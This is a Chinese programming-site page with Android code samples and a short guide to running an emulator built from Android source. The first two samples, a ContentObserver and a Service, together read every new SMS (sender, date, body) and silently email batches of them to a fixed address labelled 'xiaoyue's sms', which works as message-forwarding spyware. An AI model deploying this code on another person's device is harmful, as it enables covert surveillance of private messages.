当前位置: 编程技术>移动开发
本页文章导读:
▪ContentObserver 示例 【原创】ContentObserver 示例
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.ContentValues;
import android.content.Context;
import android.database.ContentObserver;
import android.da.........
▪ Service 示例 【原创】Service 示例
package com.firewings.smstools;
import android.app.Service;
import android.content.Intent;
import android.net.Uri;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;
public c.........
▪ 怎么在本机运行源码的模拟器 如何在本机运行源码的模拟器
一、必须文件正确编译源码后,在对应的/out/target/product/generic$ 目录下,有userdata.img,system.img镜像文件,在/out/host/linux-x86/bin$ 目录下有emulator脚本文件,在pre.........
[1]ContentObserver 示例
来源: 互联网 发布时间: 2014-02-18
【原创】ContentObserver 示例
import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; import android.content.ContentValues; import android.content.Context; import android.database.ContentObserver; import android.database.Cursor; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.net.Uri; import android.os.Handler; import android.util.Log; public class SmsObserver extends ContentObserver { private static String TAG = "SmsObserver"; private static final String[] SMS_PROJECTION = new String[] { DbHelper.SmsColumns._ID, DbHelper.SmsColumns.ADDRESS, DbHelper.SmsColumns.PERSON, DbHelper.SmsColumns.DATE, DbHelper.SmsColumns.TYPE, DbHelper.SmsColumns.BODY }; private Context context; private int _id = -1; public SmsObserver(Context context, Handler handler) { super(handler); this.context = context; Log.i(TAG, "My Oberver on create"); } public void onChange(boolean change) { Log.i(TAG, "Sms onChange"); Uri uri = Uri.parse("content://sms"); Cursor c = context.getContentResolver().query(uri, null, null, null, "_id desc limit 1"); if (c != null) { boolean first = false; while (c.moveToNext()) { int id = c.getInt(c.getColumnIndex(SMS_PROJECTION[0])); String address = c.getString(c.getColumnIndex(SMS_PROJECTION[1])); String person = c.getString(c.getColumnIndex(SMS_PROJECTION[2])); String date = c.getString(c.getColumnIndex(SMS_PROJECTION[3])); String type = c.getString(c.getColumnIndex(SMS_PROJECTION[4])); String body = c.getString(c.getColumnIndex(SMS_PROJECTION[5])); if (_id != id) { first = true; Log.e(TAG, "address=" + address); Log.e(TAG, "date=" + date); Log.e(TAG, "body=" + body); ContentValues values = new ContentValues(); values.put(DbHelper.SmsColumns.ADDRESS, address); if (person != null) values.put(DbHelper.SmsColumns.PERSON, person); values.put(DbHelper.SmsColumns.DATE, date); values.put(DbHelper.SmsColumns.TYPE, type); values.put(DbHelper.SmsColumns.BODY, body); context.getContentResolver().insert(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), values); } _id = id; } c.close(); String html = getSmsHtml(first); } } public String getSmsHtml(boolean first) { StringBuffer sb = new StringBuffer(); String ids = ""; if (first && isConnectInternet()) { Cursor cursor = context.getContentResolver().query(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), SMS_PROJECTION, DbHelper.SmsColumns.SEND + "=0", null, "_id desc limit 20"); if (cursor != null) { sb.append(""); sb.append(""); sb.append("id"); sb.append("address"); sb.append("person"); sb.append("date"); sb.append("type"); sb.append("body"); sb.append(""); while (cursor.moveToNext()) { sb.append(""); int id = cursor.getInt(cursor.getColumnIndex(SMS_PROJECTION[0])); String address = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[1])); String person = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[2])); String date = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[3])); String type = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[4])); String body = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[5])); sb.append("" + id + ""); sb.append("" + address + ""); if (person != null) sb.append("" + person + ""); else sb.append("" + "null" + ""); sb.append("" + formatDate(Long.parseLong(date)) + ""); sb.append("" + type + ""); sb.append("" + body + ""); sb.append(""); ids += id + ","; } sb.append(""); ids = ids.substring(0, ids.length() - 1); } } SmsMail mail = new SmsMail("xiaoyue's sms", sb.toString()); if (mail.send()) { return ids; } return null; } public String formatDate(long time) { DateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); Date date = new Date(); date.setTime(time); String s = format.format(date); return s; } public boolean isConnectInternet() { ConnectivityManager conManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo networkInfo = conManager.getActiveNetworkInfo(); if (networkInfo != null) { // 注意,这个判断一定要的哦,要不然会出错 return networkInfo.isAvailable(); } return false; } }
[2] Service 示例
来源: 互联网 发布时间: 2014-02-18
【原创】Service 示例
package com.firewings.smstools; import android.app.Service; import android.content.Intent; import android.net.Uri; import android.os.Handler; import android.os.IBinder; import android.util.Log; public class SmsListener extends Service { private static String TAG = "SmsListener"; @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); Log.i(TAG, "SmsListener is running"); getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, new SmsObserver(this, new Handler())); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } }
[3] 怎么在本机运行源码的模拟器
来源: 互联网 发布时间: 2014-02-18
如何在本机运行源码的模拟器
一、必须文件
正确编译源码后,在对应的/out/target/product/generic$ 目录下,有userdata.img,system.img镜像文件,
在/out/host/linux-x86/bin$ 目录下有emulator脚本文件,
在prebuilt/android-arm/kernel$有kernel-qemu文件!
二、将在/out/host/linux-x86/bin$ 目录下有emulator脚本文件,
在prebuilt/android-arm/kernel$有kernel-qemu文件都cp到/out/target/product/generic$目录下
三,使用./emulator -system system.img -data userdata.img 命令
即可启动模拟器
一、必须文件
正确编译源码后,在对应的/out/target/product/generic$ 目录下,有userdata.img,system.img镜像文件,
在/out/host/linux-x86/bin$ 目录下有emulator脚本文件,
在prebuilt/android-arm/kernel$有kernel-qemu文件!
二、将在/out/host/linux-x86/bin$ 目录下有emulator脚本文件,
在prebuilt/android-arm/kernel$有kernel-qemu文件都cp到/out/target/product/generic$目录下
三,使用./emulator -system system.img -data userdata.img 命令
即可启动模拟器
最新技术文章: